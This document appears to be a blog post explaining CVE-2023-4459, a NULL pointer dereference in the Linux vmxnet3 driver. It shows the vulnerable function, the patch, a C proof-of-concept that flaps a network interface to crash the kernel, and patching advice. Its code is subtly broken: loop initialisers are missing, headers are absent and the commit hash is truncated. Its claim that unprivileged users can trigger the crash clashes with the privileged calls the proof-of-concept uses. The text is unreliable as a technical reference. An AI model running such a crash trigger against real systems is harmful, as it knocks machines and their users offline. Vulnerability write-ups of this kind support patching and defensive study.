CVE-2023-4459 - Understanding the Linux Kernel vmxnet3 NULL Pointer Dereference Exploit

*CVE-2023-4459* is a recently uncovered kernel vulnerability affecting the *vmxnet3* driver in the Linux kernel. This issue is rooted in a NULL pointer dereference flaw inside the vmxnet3_rq_cleanup function in drivers/net/vmxnet3/vmxnet3_drv.c. Exploiting this bug can allow a regular (non-root) user to crash the system and trigger a Denial of Service (DoS). In this post, we break down how the bug works, how it can be exploited, and what you can do to stay protected.

What is vmxnet3?

The *vmxnet3* driver is designed for VMware’s high-performance virtual network adapters in Linux guest systems. Essentially, it allows virtual machines running on VMware platforms to communicate efficiently over virtual networks.

The Vulnerability

CVE-2023-4459 is a NULL pointer dereference flaw in the vmxnet3 kernel module. The error exists in the vmxnet3_rq_cleanup function, responsible for cleaning up resources or memory allocations when tearing down network receive queues.

The core issue is that the code does not properly check for NULL pointers before dereferencing them during the cleanup. This oversight means that an attacker with local access can trick the kernel into referencing a pointer that’s not been properly set—crashing the kernel and DoSing the whole system.

Here's a look at the vulnerable code

// vmxnet3_drv.c

static void vmxnet3_rq_cleanup(struct vmxnet3_adapter *adapter,
                               struct vmxnet3_rx_queue *rq)
{
    struct vmxnet3_rx_buf_info *buf_info;

    // ... previous code omitted for brevity ...

    // NULL sanity check missing before dereference!
    buf_info = rq->buf_info;
    for (i = ; i < rq->buf_info_num; i++) {
        dma_unmap_single(&adapter->pdev->dev,
                         buf_info[i].dma_addr,
                         buf_info[i].len,
                         DMA_FROM_DEVICE);
    }
    // ... rest of cleanup ...
}

If rq->buf_info is unexpectedly NULL, this code will dereference a NULL pointer, instantly panicking the kernel.

A patch was issued to add a sanity check on rq->buf_info

if (!rq->buf_info)
    return;

Read the patch commit:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=efaa57ef04b9a8cbeb9c74d7048fab30ea21c13

Exploit: How Could an Attacker Abuse This?

The vulnerability doesn't give an attacker *root* access. However, an ordinary user on a Linux system running under VMware (with the vmxnet3 adapter/module enabled) can trigger the buggy cleanup code. This causes a *kernel panic*, which drops all active users and potentially corrupts in-memory data.

User configures a network interface using the *vmxnet3* driver.

2. Attacker works with an application that causes the driver to allocate then immediately clean up a receive queue, tricking the kernel into not initializing buf_info—or deallocating it prematurely before cleanup.

Example C code snippet to trigger cleanup

// WARNING: Do not run this on a production or critical system!

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <net/if.h>

int main() {
    // Create a raw socket on vmxnet3 interface
    int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock == -1) {
        perror("socket");
        return EXIT_FAILURE;
    }

    struct ifreq ifr;
    snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "ens33"); // example interface name
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == -1) {
        perror("ioctl");
        close(sock);
        return EXIT_FAILURE;
    }

    // Bring down the interface repeatedly, which triggers cleanup paths
    for(int i=;i<10000;i++) {
        ifr.ifr_flags &= ~IFF_UP;
        if (ioctl(sock, SIOCSIFFLAGS, &ifr) == -1) {
            perror("ioctl");
            break;
        }
        usleep(100);
    }

    close(sock);
    return EXIT_SUCCESS;
}

*You would need to tailor this for your network setup and possibly combine it with other steps to ensure the bug is struck at the right moment, but this illustrates the concept.* Do not run this on important or production systems!

Has it been fixed?

Yes, upstream Linux has addressed this by adding a NULL pointer check before dereferencing rq->buf_info. For the most up-to-date and authoritative patch, see:

- Upstream commit that fixes CVE-2023-4459

What should you do?

- Update your kernel: If you use VMware guests with Linux and the vmxnet3 adapter, updating to a fixed kernel release is strongly advised.

Monitor advisories: Watch your Linux distribution’s security pages for packaged upgrades.

- Limit local access: This bug can only be triggered by local users; consider reducing login access on sensitive virtual machines.

References

- CVE-2023-4459 on NVD
- Linux Patch Commit
- VMware vmxnet3 documentation
- RedHat Security Advisory
- Canonical Ubuntu CVE page

Conclusion

*CVE-2023-4459* demonstrates how even a simple missing check can lead to serious problems like a Denial of Service in modern operating systems. Always keep your systems up to date and pay attention to kernel update advisories, especially in virtualized environments. While this bug doesn't let bad actors take over your system, it can crash it—and for many infrastructures, that's still a disaster.

If you found this post useful, follow the official Linux kernel and distribution advisories for more insight on staying safe!

Timeline

Published on: 08/21/2023 19:15:00 UTC
Last modified on: 08/24/2023 21:40:00 UTC